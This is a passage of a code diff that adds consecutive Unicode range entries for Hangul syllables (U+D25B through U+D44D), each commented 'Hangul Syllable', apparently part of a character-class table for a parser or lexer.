+ ["\uD25B", "\uD25B"], /* Hangul Syllable */
+ ["\uD25C", "\uD25C"], /* Hangul Syllable */
+ ["\uD25D", "\uD25D"], /* Hangul Syllable */
+ ["\uD25E", "\uD25E"], /* Hangul Syllable */
+ ["\uD25F", "\uD25F"], /* Hangul Syllable */
+ ["\uD260", "\uD260"], /* Hangul Syllable */
+ ["\uD261", "\uD261"], /* Hangul Syllable */
+ ["\uD262", "\uD262"], /* Hangul Syllable */
+ ["\uD263", "\uD263"], /* Hangul Syllable */
+ ["\uD264", "\uD264"], /* Hangul Syllable */
+ ["\uD265", "\uD265"], /* Hangul Syllable */
+ ["\uD266", "\uD266"], /* Hangul Syllable */
+ ["\uD267", "\uD267"], /* Hangul Syllable */
+ ["\uD268", "\uD268"], /* Hangul Syllable */
+ ["\uD269", "\uD269"], /* Hangul Syllable */
+ ["\uD26A", "\uD26A"], /* Hangul Syllable */
+ ["\uD26B", "\uD26B"], /* Hangul Syllable */
+ ["\uD26C", "\uD26C"], /* Hangul Syllable */
+ ["\uD26D", "\uD26D"], /* Hangul Syllable */
+ ["\uD26E", "\uD26E"], /* Hangul Syllable */
+ ["\uD26F", "\uD26F"], /* Hangul Syllable */
+ ["\uD270", "\uD270"], /* Hangul Syllable */
+ ["\uD271", "\uD271"], /* Hangul Syllable */
+ ["\uD272", "\uD272"], /* Hangul Syllable */
+ ["\uD273", "\uD273"], /* Hangul Syllable */
+ ["\uD274", "\uD274"], /* Hangul Syllable */
+ ["\uD275", "\uD275"], /* Hangul Syllable */
+ ["\uD276", "\uD276"], /* Hangul Syllable */
+ ["\uD277", "\uD277"], /* Hangul Syllable */
+ ["\uD278", "\uD278"], /* Hangul Syllable */
+ ["\uD279", "\uD279"], /* Hangul Syllable */
+ ["\uD27A", "\uD27A"], /* Hangul Syllable */
+ ["\uD27B", "\uD27B"], /* Hangul Syllable */
+ ["\uD27C", "\uD27C"], /* Hangul Syllable */
+ ["\uD27D", "\uD27D"], /* Hangul Syllable */
+ ["\uD27E", "\uD27E"], /* Hangul Syllable */
+ ["\uD27F", "\uD27F"], /* Hangul Syllable */
+ ["\uD280", "\uD280"], /* Hangul Syllable */
+ ["\uD281", "\uD281"], /* Hangul Syllable */
+ ["\uD282", "\uD282"], /* Hangul Syllable */
+ ["\uD283", "\uD283"], /* Hangul Syllable */
+ ["\uD284", "\uD284"], /* Hangul Syllable */
+ ["\uD285", "\uD285"], /* Hangul Syllable */
+ ["\uD286", "\uD286"], /* Hangul Syllable */
+ ["\uD287", "\uD287"], /* Hangul Syllable */
+ ["\uD288", "\uD288"], /* Hangul Syllable */
+ ["\uD289", "\uD289"], /* Hangul Syllable */
+ ["\uD28A", "\uD28A"], /* Hangul Syllable */
+ ["\uD28B", "\uD28B"], /* Hangul Syllable */
+ ["\uD28C", "\uD28C"], /* Hangul Syllable */
+ ["\uD28D", "\uD28D"], /* Hangul Syllable */
+ ["\uD28E", "\uD28E"], /* Hangul Syllable */
+ ["\uD28F", "\uD28F"], /* Hangul Syllable */
+ ["\uD290", "\uD290"], /* Hangul Syllable */
+ ["\uD291", "\uD291"], /* Hangul Syllable */
+ ["\uD292", "\uD292"], /* Hangul Syllable */
+ ["\uD293", "\uD293"], /* Hangul Syllable */
+ ["\uD294", "\uD294"], /* Hangul Syllable */
+ ["\uD295", "\uD295"], /* Hangul Syllable */
+ ["\uD296", "\uD296"], /* Hangul Syllable */
+ ["\uD297", "\uD297"], /* Hangul Syllable */
+ ["\uD298", "\uD298"], /* Hangul Syllable */
+ ["\uD299", "\uD299"], /* Hangul Syllable */
+ ["\uD29A", "\uD29A"], /* Hangul Syllable */
+ ["\uD29B", "\uD29B"], /* Hangul Syllable */
+ ["\uD29C", "\uD29C"], /* Hangul Syllable */
+ ["\uD29D", "\uD29D"], /* Hangul Syllable */
+ ["\uD29E", "\uD29E"], /* Hangul Syllable */
+ ["\uD29F", "\uD29F"], /* Hangul Syllable */
+ ["\uD2A0", "\uD2A0"], /* Hangul Syllable */
+ ["\uD2A1", "\uD2A1"], /* Hangul Syllable */
+ ["\uD2A2", "\uD2A2"], /* Hangul Syllable */
+ ["\uD2A3", "\uD2A3"], /* Hangul Syllable */
+ ["\uD2A4", "\uD2A4"], /* Hangul Syllable */
+ ["\uD2A5", "\uD2A5"], /* Hangul Syllable */
+ ["\uD2A6", "\uD2A6"], /* Hangul Syllable */
+ ["\uD2A7", "\uD2A7"], /* Hangul Syllable */
+ ["\uD2A8", "\uD2A8"], /* Hangul Syllable */
+ ["\uD2A9", "\uD2A9"], /* Hangul Syllable */
+ ["\uD2AA", "\uD2AA"], /* Hangul Syllable */
+ ["\uD2AB", "\uD2AB"], /* Hangul Syllable */
+ ["\uD2AC", "\uD2AC"], /* Hangul Syllable */
+ ["\uD2AD", "\uD2AD"], /* Hangul Syllable */
+ ["\uD2AE", "\uD2AE"], /* Hangul Syllable */
+ ["\uD2AF", "\uD2AF"], /* Hangul Syllable */
+ ["\uD2B0", "\uD2B0"], /* Hangul Syllable */
+ ["\uD2B1", "\uD2B1"], /* Hangul Syllable */
+ ["\uD2B2", "\uD2B2"], /* Hangul Syllable */
+ ["\uD2B3", "\uD2B3"], /* Hangul Syllable */
+ ["\uD2B4", "\uD2B4"], /* Hangul Syllable */
+ ["\uD2B5", "\uD2B5"], /* Hangul Syllable */
+ ["\uD2B6", "\uD2B6"], /* Hangul Syllable */
+ ["\uD2B7", "\uD2B7"], /* Hangul Syllable */
+ ["\uD2B8", "\uD2B8"], /* Hangul Syllable */
+ ["\uD2B9", "\uD2B9"], /* Hangul Syllable */
+ ["\uD2BA", "\uD2BA"], /* Hangul Syllable */
+ ["\uD2BB", "\uD2BB"], /* Hangul Syllable */
+ ["\uD2BC", "\uD2BC"], /* Hangul Syllable */
+ ["\uD2BD", "\uD2BD"], /* Hangul Syllable */
+ ["\uD2BE", "\uD2BE"], /* Hangul Syllable */
+ ["\uD2BF", "\uD2BF"], /* Hangul Syllable */
+ ["\uD2C0", "\uD2C0"], /* Hangul Syllable */
+ ["\uD2C1", "\uD2C1"], /* Hangul Syllable */
+ ["\uD2C2", "\uD2C2"], /* Hangul Syllable */
+ ["\uD2C3", "\uD2C3"], /* Hangul Syllable */
+ ["\uD2C4", "\uD2C4"], /* Hangul Syllable */
+ ["\uD2C5", "\uD2C5"], /* Hangul Syllable */
+ ["\uD2C6", "\uD2C6"], /* Hangul Syllable */
+ ["\uD2C7", "\uD2C7"], /* Hangul Syllable */
+ ["\uD2C8", "\uD2C8"], /* Hangul Syllable */
+ ["\uD2C9", "\uD2C9"], /* Hangul Syllable */
+ ["\uD2CA", "\uD2CA"], /* Hangul Syllable */
+ ["\uD2CB", "\uD2CB"], /* Hangul Syllable */
+ ["\uD2CC", "\uD2CC"], /* Hangul Syllable */
+ ["\uD2CD", "\uD2CD"], /* Hangul Syllable */
+ ["\uD2CE", "\uD2CE"], /* Hangul Syllable */
+ ["\uD2CF", "\uD2CF"], /* Hangul Syllable */
+ ["\uD2D0", "\uD2D0"], /* Hangul Syllable */
+ ["\uD2D1", "\uD2D1"], /* Hangul Syllable */
+ ["\uD2D2", "\uD2D2"], /* Hangul Syllable */
+ ["\uD2D3", "\uD2D3"], /* Hangul Syllable */
+ ["\uD2D4", "\uD2D4"], /* Hangul Syllable */
+ ["\uD2D5", "\uD2D5"], /* Hangul Syllable */
+ ["\uD2D6", "\uD2D6"], /* Hangul Syllable */
+ ["\uD2D7", "\uD2D7"], /* Hangul Syllable */
+ ["\uD2D8", "\uD2D8"], /* Hangul Syllable */
+ ["\uD2D9", "\uD2D9"], /* Hangul Syllable */
+ ["\uD2DA", "\uD2DA"], /* Hangul Syllable */
+ ["\uD2DB", "\uD2DB"], /* Hangul Syllable */
+ ["\uD2DC", "\uD2DC"], /* Hangul Syllable */
+ ["\uD2DD", "\uD2DD"], /* Hangul Syllable */
+ ["\uD2DE", "\uD2DE"], /* Hangul Syllable */
+ ["\uD2DF", "\uD2DF"], /* Hangul Syllable */
+ ["\uD2E0", "\uD2E0"], /* Hangul Syllable */
+ ["\uD2E1", "\uD2E1"], /* Hangul Syllable */
+ ["\uD2E2", "\uD2E2"], /* Hangul Syllable */
+ ["\uD2E3", "\uD2E3"], /* Hangul Syllable */
+ ["\uD2E4", "\uD2E4"], /* Hangul Syllable */
+ ["\uD2E5", "\uD2E5"], /* Hangul Syllable */
+ ["\uD2E6", "\uD2E6"], /* Hangul Syllable */
+ ["\uD2E7", "\uD2E7"], /* Hangul Syllable */
+ ["\uD2E8", "\uD2E8"], /* Hangul Syllable */
+ ["\uD2E9", "\uD2E9"], /* Hangul Syllable */
+ ["\uD2EA", "\uD2EA"], /* Hangul Syllable */
+ ["\uD2EB", "\uD2EB"], /* Hangul Syllable */
+ ["\uD2EC", "\uD2EC"], /* Hangul Syllable */
+ ["\uD2ED", "\uD2ED"], /* Hangul Syllable */
+ ["\uD2EE", "\uD2EE"], /* Hangul Syllable */
+ ["\uD2EF", "\uD2EF"], /* Hangul Syllable */
+ ["\uD2F0", "\uD2F0"], /* Hangul Syllable */
+ ["\uD2F1", "\uD2F1"], /* Hangul Syllable */
+ ["\uD2F2", "\uD2F2"], /* Hangul Syllable */
+ ["\uD2F3", "\uD2F3"], /* Hangul Syllable */
+ ["\uD2F4", "\uD2F4"], /* Hangul Syllable */
+ ["\uD2F5", "\uD2F5"], /* Hangul Syllable */
+ ["\uD2F6", "\uD2F6"], /* Hangul Syllable */
+ ["\uD2F7", "\uD2F7"], /* Hangul Syllable */
+ ["\uD2F8", "\uD2F8"], /* Hangul Syllable */
+ ["\uD2F9", "\uD2F9"], /* Hangul Syllable */
+ ["\uD2FA", "\uD2FA"], /* Hangul Syllable */
+ ["\uD2FB", "\uD2FB"], /* Hangul Syllable */
+ ["\uD2FC", "\uD2FC"], /* Hangul Syllable */
+ ["\uD2FD", "\uD2FD"], /* Hangul Syllable */
+ ["\uD2FE", "\uD2FE"], /* Hangul Syllable */
+ ["\uD2FF", "\uD2FF"], /* Hangul Syllable */
+ ["\uD300", "\uD300"], /* Hangul Syllable */
+ ["\uD301", "\uD301"], /* Hangul Syllable */
+ ["\uD302", "\uD302"], /* Hangul Syllable */
+ ["\uD303", "\uD303"], /* Hangul Syllable */
+ ["\uD304", "\uD304"], /* Hangul Syllable */
+ ["\uD305", "\uD305"], /* Hangul Syllable */
+ ["\uD306", "\uD306"], /* Hangul Syllable */
+ ["\uD307", "\uD307"], /* Hangul Syllable */
+ ["\uD308", "\uD308"], /* Hangul Syllable */
+ ["\uD309", "\uD309"], /* Hangul Syllable */
+ ["\uD30A", "\uD30A"], /* Hangul Syllable */
+ ["\uD30B", "\uD30B"], /* Hangul Syllable */
+ ["\uD30C", "\uD30C"], /* Hangul Syllable */
+ ["\uD30D", "\uD30D"], /* Hangul Syllable */
+ ["\uD30E", "\uD30E"], /* Hangul Syllable */
+ ["\uD30F", "\uD30F"], /* Hangul Syllable */
+ ["\uD310", "\uD310"], /* Hangul Syllable */
+ ["\uD311", "\uD311"], /* Hangul Syllable */
+ ["\uD312", "\uD312"], /* Hangul Syllable */
+ ["\uD313", "\uD313"], /* Hangul Syllable */
+ ["\uD314", "\uD314"], /* Hangul Syllable */
+ ["\uD315", "\uD315"], /* Hangul Syllable */
+ ["\uD316", "\uD316"], /* Hangul Syllable */
+ ["\uD317", "\uD317"], /* Hangul Syllable */
+ ["\uD318", "\uD318"], /* Hangul Syllable */
+ ["\uD319", "\uD319"], /* Hangul Syllable */
+ ["\uD31A", "\uD31A"], /* Hangul Syllable */
+ ["\uD31B", "\uD31B"], /* Hangul Syllable */
+ ["\uD31C", "\uD31C"], /* Hangul Syllable */
+ ["\uD31D", "\uD31D"], /* Hangul Syllable */
+ ["\uD31E", "\uD31E"], /* Hangul Syllable */
+ ["\uD31F", "\uD31F"], /* Hangul Syllable */
+ ["\uD320", "\uD320"], /* Hangul Syllable */
+ ["\uD321", "\uD321"], /* Hangul Syllable */
+ ["\uD322", "\uD322"], /* Hangul Syllable */
+ ["\uD323", "\uD323"], /* Hangul Syllable */
+ ["\uD324", "\uD324"], /* Hangul Syllable */
+ ["\uD325", "\uD325"], /* Hangul Syllable */
+ ["\uD326", "\uD326"], /* Hangul Syllable */
+ ["\uD327", "\uD327"], /* Hangul Syllable */
+ ["\uD328", "\uD328"], /* Hangul Syllable */
+ ["\uD329", "\uD329"], /* Hangul Syllable */
+ ["\uD32A", "\uD32A"], /* Hangul Syllable */
+ ["\uD32B", "\uD32B"], /* Hangul Syllable */
+ ["\uD32C", "\uD32C"], /* Hangul Syllable */
+ ["\uD32D", "\uD32D"], /* Hangul Syllable */
+ ["\uD32E", "\uD32E"], /* Hangul Syllable */
+ ["\uD32F", "\uD32F"], /* Hangul Syllable */
+ ["\uD330", "\uD330"], /* Hangul Syllable */
+ ["\uD331", "\uD331"], /* Hangul Syllable */
+ ["\uD332", "\uD332"], /* Hangul Syllable */
+ ["\uD333", "\uD333"], /* Hangul Syllable */
+ ["\uD334", "\uD334"], /* Hangul Syllable */
+ ["\uD335", "\uD335"], /* Hangul Syllable */
+ ["\uD336", "\uD336"], /* Hangul Syllable */
+ ["\uD337", "\uD337"], /* Hangul Syllable */
+ ["\uD338", "\uD338"], /* Hangul Syllable */
+ ["\uD339", "\uD339"], /* Hangul Syllable */
+ ["\uD33A", "\uD33A"], /* Hangul Syllable */
+ ["\uD33B", "\uD33B"], /* Hangul Syllable */
+ ["\uD33C", "\uD33C"], /* Hangul Syllable */
+ ["\uD33D", "\uD33D"], /* Hangul Syllable */
+ ["\uD33E", "\uD33E"], /* Hangul Syllable */
+ ["\uD33F", "\uD33F"], /* Hangul Syllable */
+ ["\uD340", "\uD340"], /* Hangul Syllable */
+ ["\uD341", "\uD341"], /* Hangul Syllable */
+ ["\uD342", "\uD342"], /* Hangul Syllable */
+ ["\uD343", "\uD343"], /* Hangul Syllable */
+ ["\uD344", "\uD344"], /* Hangul Syllable */
+ ["\uD345", "\uD345"], /* Hangul Syllable */
+ ["\uD346", "\uD346"], /* Hangul Syllable */
+ ["\uD347", "\uD347"], /* Hangul Syllable */
+ ["\uD348", "\uD348"], /* Hangul Syllable */
+ ["\uD349", "\uD349"], /* Hangul Syllable */
+ ["\uD34A", "\uD34A"], /* Hangul Syllable */
+ ["\uD34B", "\uD34B"], /* Hangul Syllable */
+ ["\uD34C", "\uD34C"], /* Hangul Syllable */
+ ["\uD34D", "\uD34D"], /* Hangul Syllable */
+ ["\uD34E", "\uD34E"], /* Hangul Syllable */
+ ["\uD34F", "\uD34F"], /* Hangul Syllable */
+ ["\uD350", "\uD350"], /* Hangul Syllable */
+ ["\uD351", "\uD351"], /* Hangul Syllable */
+ ["\uD352", "\uD352"], /* Hangul Syllable */
+ ["\uD353", "\uD353"], /* Hangul Syllable */
+ ["\uD354", "\uD354"], /* Hangul Syllable */
+ ["\uD355", "\uD355"], /* Hangul Syllable */
+ ["\uD356", "\uD356"], /* Hangul Syllable */
+ ["\uD357", "\uD357"], /* Hangul Syllable */
+ ["\uD358", "\uD358"], /* Hangul Syllable */
+ ["\uD359", "\uD359"], /* Hangul Syllable */
+ ["\uD35A", "\uD35A"], /* Hangul Syllable */
+ ["\uD35B", "\uD35B"], /* Hangul Syllable */
+ ["\uD35C", "\uD35C"], /* Hangul Syllable */
+ ["\uD35D", "\uD35D"], /* Hangul Syllable */
+ ["\uD35E", "\uD35E"], /* Hangul Syllable */
+ ["\uD35F", "\uD35F"], /* Hangul Syllable */
+ ["\uD360", "\uD360"], /* Hangul Syllable */
+ ["\uD361", "\uD361"], /* Hangul Syllable */
+ ["\uD362", "\uD362"], /* Hangul Syllable */
+ ["\uD363", "\uD363"], /* Hangul Syllable */
+ ["\uD364", "\uD364"], /* Hangul Syllable */
+ ["\uD365", "\uD365"], /* Hangul Syllable */
+ ["\uD366", "\uD366"], /* Hangul Syllable */
+ ["\uD367", "\uD367"], /* Hangul Syllable */
+ ["\uD368", "\uD368"], /* Hangul Syllable */
+ ["\uD369", "\uD369"], /* Hangul Syllable */
+ ["\uD36A", "\uD36A"], /* Hangul Syllable */
+ ["\uD36B", "\uD36B"], /* Hangul Syllable */
+ ["\uD36C", "\uD36C"], /* Hangul Syllable */
+ ["\uD36D", "\uD36D"], /* Hangul Syllable */
+ ["\uD36E", "\uD36E"], /* Hangul Syllable */
+ ["\uD36F", "\uD36F"], /* Hangul Syllable */
+ ["\uD370", "\uD370"], /* Hangul Syllable */
+ ["\uD371", "\uD371"], /* Hangul Syllable */
+ ["\uD372", "\uD372"], /* Hangul Syllable */
+ ["\uD373", "\uD373"], /* Hangul Syllable */
+ ["\uD374", "\uD374"], /* Hangul Syllable */
+ ["\uD375", "\uD375"], /* Hangul Syllable */
+ ["\uD376", "\uD376"], /* Hangul Syllable */
+ ["\uD377", "\uD377"], /* Hangul Syllable */
+ ["\uD378", "\uD378"], /* Hangul Syllable */
+ ["\uD379", "\uD379"], /* Hangul Syllable */
+ ["\uD37A", "\uD37A"], /* Hangul Syllable */
+ ["\uD37B", "\uD37B"], /* Hangul Syllable */
+ ["\uD37C", "\uD37C"], /* Hangul Syllable */
+ ["\uD37D", "\uD37D"], /* Hangul Syllable */
+ ["\uD37E", "\uD37E"], /* Hangul Syllable */
+ ["\uD37F", "\uD37F"], /* Hangul Syllable */
+ ["\uD380", "\uD380"], /* Hangul Syllable */
+ ["\uD381", "\uD381"], /* Hangul Syllable */
+ ["\uD382", "\uD382"], /* Hangul Syllable */
+ ["\uD383", "\uD383"], /* Hangul Syllable */
+ ["\uD384", "\uD384"], /* Hangul Syllable */
+ ["\uD385", "\uD385"], /* Hangul Syllable */
+ ["\uD386", "\uD386"], /* Hangul Syllable */
+ ["\uD387", "\uD387"], /* Hangul Syllable */
+ ["\uD388", "\uD388"], /* Hangul Syllable */
+ ["\uD389", "\uD389"], /* Hangul Syllable */
+ ["\uD38A", "\uD38A"], /* Hangul Syllable */
+ ["\uD38B", "\uD38B"], /* Hangul Syllable */
+ ["\uD38C", "\uD38C"], /* Hangul Syllable */
+ ["\uD38D", "\uD38D"], /* Hangul Syllable */
+ ["\uD38E", "\uD38E"], /* Hangul Syllable */
+ ["\uD38F", "\uD38F"], /* Hangul Syllable */
+ ["\uD390", "\uD390"], /* Hangul Syllable */
+ ["\uD391", "\uD391"], /* Hangul Syllable */
+ ["\uD392", "\uD392"], /* Hangul Syllable */
+ ["\uD393", "\uD393"], /* Hangul Syllable */
+ ["\uD394", "\uD394"], /* Hangul Syllable */
+ ["\uD395", "\uD395"], /* Hangul Syllable */
+ ["\uD396", "\uD396"], /* Hangul Syllable */
+ ["\uD397", "\uD397"], /* Hangul Syllable */
+ ["\uD398", "\uD398"], /* Hangul Syllable */
+ ["\uD399", "\uD399"], /* Hangul Syllable */
+ ["\uD39A", "\uD39A"], /* Hangul Syllable */
+ ["\uD39B", "\uD39B"], /* Hangul Syllable */
+ ["\uD39C", "\uD39C"], /* Hangul Syllable */
+ ["\uD39D", "\uD39D"], /* Hangul Syllable */
+ ["\uD39E", "\uD39E"], /* Hangul Syllable */
+ ["\uD39F", "\uD39F"], /* Hangul Syllable */
+ ["\uD3A0", "\uD3A0"], /* Hangul Syllable */
+ ["\uD3A1", "\uD3A1"], /* Hangul Syllable */
+ ["\uD3A2", "\uD3A2"], /* Hangul Syllable */
+ ["\uD3A3", "\uD3A3"], /* Hangul Syllable */
+ ["\uD3A4", "\uD3A4"], /* Hangul Syllable */
+ ["\uD3A5", "\uD3A5"], /* Hangul Syllable */
+ ["\uD3A6", "\uD3A6"], /* Hangul Syllable */
+ ["\uD3A7", "\uD3A7"], /* Hangul Syllable */
+ ["\uD3A8", "\uD3A8"], /* Hangul Syllable */
+ ["\uD3A9", "\uD3A9"], /* Hangul Syllable */
+ ["\uD3AA", "\uD3AA"], /* Hangul Syllable */
+ ["\uD3AB", "\uD3AB"], /* Hangul Syllable */
+ ["\uD3AC", "\uD3AC"], /* Hangul Syllable */
+ ["\uD3AD", "\uD3AD"], /* Hangul Syllable */
+ ["\uD3AE", "\uD3AE"], /* Hangul Syllable */
+ ["\uD3AF", "\uD3AF"], /* Hangul Syllable */
+ ["\uD3B0", "\uD3B0"], /* Hangul Syllable */
+ ["\uD3B1", "\uD3B1"], /* Hangul Syllable */
+ ["\uD3B2", "\uD3B2"], /* Hangul Syllable */
+ ["\uD3B3", "\uD3B3"], /* Hangul Syllable */
+ ["\uD3B4", "\uD3B4"], /* Hangul Syllable */
+ ["\uD3B5", "\uD3B5"], /* Hangul Syllable */
+ ["\uD3B6", "\uD3B6"], /* Hangul Syllable */
+ ["\uD3B7", "\uD3B7"], /* Hangul Syllable */
+ ["\uD3B8", "\uD3B8"], /* Hangul Syllable */
+ ["\uD3B9", "\uD3B9"], /* Hangul Syllable */
+ ["\uD3BA", "\uD3BA"], /* Hangul Syllable */
+ ["\uD3BB", "\uD3BB"], /* Hangul Syllable */
+ ["\uD3BC", "\uD3BC"], /* Hangul Syllable */
+ ["\uD3BD", "\uD3BD"], /* Hangul Syllable */
+ ["\uD3BE", "\uD3BE"], /* Hangul Syllable */
+ ["\uD3BF", "\uD3BF"], /* Hangul Syllable */
+ ["\uD3C0", "\uD3C0"], /* Hangul Syllable */
+ ["\uD3C1", "\uD3C1"], /* Hangul Syllable */
+ ["\uD3C2", "\uD3C2"], /* Hangul Syllable */
+ ["\uD3C3", "\uD3C3"], /* Hangul Syllable */
+ ["\uD3C4", "\uD3C4"], /* Hangul Syllable */
+ ["\uD3C5", "\uD3C5"], /* Hangul Syllable */
+ ["\uD3C6", "\uD3C6"], /* Hangul Syllable */
+ ["\uD3C7", "\uD3C7"], /* Hangul Syllable */
+ ["\uD3C8", "\uD3C8"], /* Hangul Syllable */
+ ["\uD3C9", "\uD3C9"], /* Hangul Syllable */
+ ["\uD3CA", "\uD3CA"], /* Hangul Syllable */
+ ["\uD3CB", "\uD3CB"], /* Hangul Syllable */
+ ["\uD3CC", "\uD3CC"], /* Hangul Syllable */
+ ["\uD3CD", "\uD3CD"], /* Hangul Syllable */
+ ["\uD3CE", "\uD3CE"], /* Hangul Syllable */
+ ["\uD3CF", "\uD3CF"], /* Hangul Syllable */
+ ["\uD3D0", "\uD3D0"], /* Hangul Syllable */
+ ["\uD3D1", "\uD3D1"], /* Hangul Syllable */
+ ["\uD3D2", "\uD3D2"], /* Hangul Syllable */
+ ["\uD3D3", "\uD3D3"], /* Hangul Syllable */
+ ["\uD3D4", "\uD3D4"], /* Hangul Syllable */
+ ["\uD3D5", "\uD3D5"], /* Hangul Syllable */
+ ["\uD3D6", "\uD3D6"], /* Hangul Syllable */
+ ["\uD3D7", "\uD3D7"], /* Hangul Syllable */
+ ["\uD3D8", "\uD3D8"], /* Hangul Syllable */
+ ["\uD3D9", "\uD3D9"], /* Hangul Syllable */
+ ["\uD3DA", "\uD3DA"], /* Hangul Syllable */
+ ["\uD3DB", "\uD3DB"], /* Hangul Syllable */
+ ["\uD3DC", "\uD3DC"], /* Hangul Syllable */
+ ["\uD3DD", "\uD3DD"], /* Hangul Syllable */
+ ["\uD3DE", "\uD3DE"], /* Hangul Syllable */
+ ["\uD3DF", "\uD3DF"], /* Hangul Syllable */
+ ["\uD3E0", "\uD3E0"], /* Hangul Syllable */
+ ["\uD3E1", "\uD3E1"], /* Hangul Syllable */
+ ["\uD3E2", "\uD3E2"], /* Hangul Syllable */
+ ["\uD3E3", "\uD3E3"], /* Hangul Syllable */
+ ["\uD3E4", "\uD3E4"], /* Hangul Syllable */
+ ["\uD3E5", "\uD3E5"], /* Hangul Syllable */
+ ["\uD3E6", "\uD3E6"], /* Hangul Syllable */
+ ["\uD3E7", "\uD3E7"], /* Hangul Syllable */
+ ["\uD3E8", "\uD3E8"], /* Hangul Syllable */
+ ["\uD3E9", "\uD3E9"], /* Hangul Syllable */
+ ["\uD3EA", "\uD3EA"], /* Hangul Syllable */
+ ["\uD3EB", "\uD3EB"], /* Hangul Syllable */
+ ["\uD3EC", "\uD3EC"], /* Hangul Syllable */
+ ["\uD3ED", "\uD3ED"], /* Hangul Syllable */
+ ["\uD3EE", "\uD3EE"], /* Hangul Syllable */
+ ["\uD3EF", "\uD3EF"], /* Hangul Syllable */
+ ["\uD3F0", "\uD3F0"], /* Hangul Syllable */
+ ["\uD3F1", "\uD3F1"], /* Hangul Syllable */
+ ["\uD3F2", "\uD3F2"], /* Hangul Syllable */
+ ["\uD3F3", "\uD3F3"], /* Hangul Syllable */
+ ["\uD3F4", "\uD3F4"], /* Hangul Syllable */
+ ["\uD3F5", "\uD3F5"], /* Hangul Syllable */
+ ["\uD3F6", "\uD3F6"], /* Hangul Syllable */
+ ["\uD3F7", "\uD3F7"], /* Hangul Syllable */
+ ["\uD3F8", "\uD3F8"], /* Hangul Syllable */
+ ["\uD3F9", "\uD3F9"], /* Hangul Syllable */
+ ["\uD3FA", "\uD3FA"], /* Hangul Syllable */
+ ["\uD3FB", "\uD3FB"], /* Hangul Syllable */
+ ["\uD3FC", "\uD3FC"], /* Hangul Syllable */
+ ["\uD3FD", "\uD3FD"], /* Hangul Syllable */
+ ["\uD3FE", "\uD3FE"], /* Hangul Syllable */
+ ["\uD3FF", "\uD3FF"], /* Hangul Syllable */
+ ["\uD400", "\uD400"], /* Hangul Syllable */
+ ["\uD401", "\uD401"], /* Hangul Syllable */
+ ["\uD402", "\uD402"], /* Hangul Syllable */
+ ["\uD403", "\uD403"], /* Hangul Syllable */
+ ["\uD404", "\uD404"], /* Hangul Syllable */
+ ["\uD405", "\uD405"], /* Hangul Syllable */
+ ["\uD406", "\uD406"], /* Hangul Syllable */
+ ["\uD407", "\uD407"], /* Hangul Syllable */
+ ["\uD408", "\uD408"], /* Hangul Syllable */
+ ["\uD409", "\uD409"], /* Hangul Syllable */
+ ["\uD40A", "\uD40A"], /* Hangul Syllable */
+ ["\uD40B", "\uD40B"], /* Hangul Syllable */
+ ["\uD40C", "\uD40C"], /* Hangul Syllable */
+ ["\uD40D", "\uD40D"], /* Hangul Syllable */
+ ["\uD40E", "\uD40E"], /* Hangul Syllable */
+ ["\uD40F", "\uD40F"], /* Hangul Syllable */
+ ["\uD410", "\uD410"], /* Hangul Syllable */
+ ["\uD411", "\uD411"], /* Hangul Syllable */
+ ["\uD412", "\uD412"], /* Hangul Syllable */
+ ["\uD413", "\uD413"], /* Hangul Syllable */
+ ["\uD414", "\uD414"], /* Hangul Syllable */
+ ["\uD415", "\uD415"], /* Hangul Syllable */
+ ["\uD416", "\uD416"], /* Hangul Syllable */
+ ["\uD417", "\uD417"], /* Hangul Syllable */
+ ["\uD418", "\uD418"], /* Hangul Syllable */
+ ["\uD419", "\uD419"], /* Hangul Syllable */
+ ["\uD41A", "\uD41A"], /* Hangul Syllable */
+ ["\uD41B", "\uD41B"], /* Hangul Syllable */
+ ["\uD41C", "\uD41C"], /* Hangul Syllable */
+ ["\uD41D", "\uD41D"], /* Hangul Syllable */
+ ["\uD41E", "\uD41E"], /* Hangul Syllable */
+ ["\uD41F", "\uD41F"], /* Hangul Syllable */
+ ["\uD420", "\uD420"], /* Hangul Syllable */
+ ["\uD421", "\uD421"], /* Hangul Syllable */
+ ["\uD422", "\uD422"], /* Hangul Syllable */
+ ["\uD423", "\uD423"], /* Hangul Syllable */
+ ["\uD424", "\uD424"], /* Hangul Syllable */
+ ["\uD425", "\uD425"], /* Hangul Syllable */
+ ["\uD426", "\uD426"], /* Hangul Syllable */
+ ["\uD427", "\uD427"], /* Hangul Syllable */
+ ["\uD428", "\uD428"], /* Hangul Syllable */
+ ["\uD429", "\uD429"], /* Hangul Syllable */
+ ["\uD42A", "\uD42A"], /* Hangul Syllable */
+ ["\uD42B", "\uD42B"], /* Hangul Syllable */
+ ["\uD42C", "\uD42C"], /* Hangul Syllable */
+ ["\uD42D", "\uD42D"], /* Hangul Syllable */
+ ["\uD42E", "\uD42E"], /* Hangul Syllable */
+ ["\uD42F", "\uD42F"], /* Hangul Syllable */
+ ["\uD430", "\uD430"], /* Hangul Syllable */
+ ["\uD431", "\uD431"], /* Hangul Syllable */
+ ["\uD432", "\uD432"], /* Hangul Syllable */
+ ["\uD433", "\uD433"], /* Hangul Syllable */
+ ["\uD434", "\uD434"], /* Hangul Syllable */
+ ["\uD435", "\uD435"], /* Hangul Syllable */
+ ["\uD436", "\uD436"], /* Hangul Syllable */
+ ["\uD437", "\uD437"], /* Hangul Syllable */
+ ["\uD438", "\uD438"], /* Hangul Syllable */
+ ["\uD439", "\uD439"], /* Hangul Syllable */
+ ["\uD43A", "\uD43A"], /* Hangul Syllable */
+ ["\uD43B", "\uD43B"], /* Hangul Syllable */
+ ["\uD43C", "\uD43C"], /* Hangul Syllable */
+ ["\uD43D", "\uD43D"], /* Hangul Syllable */
+ ["\uD43E", "\uD43E"], /* Hangul Syllable */
+ ["\uD43F", "\uD43F"], /* Hangul Syllable */
+ ["\uD440", "\uD440"], /* Hangul Syllable */
+ ["\uD441", "\uD441"], /* Hangul Syllable */
+ ["\uD442", "\uD442"], /* Hangul Syllable */
+ ["\uD443", "\uD443"], /* Hangul Syllable */
+ ["\uD444", "\uD444"], /* Hangul Syllable */
+ ["\uD445", "\uD445"], /* Hangul Syllable */
+ ["\uD446", "\uD446"], /* Hangul Syllable */
+ ["\uD447", "\uD447"], /* Hangul Syllable */
+ ["\uD448", "\uD448"], /* Hangul Syllable */
+ ["\uD449", "\uD449"], /* Hangul Syllable */
+ ["\uD44A", "\uD44A"], /* Hangul Syllable */
+ ["\uD44B", "\uD44B"], /* Hangul Syllable */
+ ["\uD44C", "\uD44C"], /* Hangul Syllable */
+ ["\uD44D", "\uD44D"], /* Hangul Syllable */
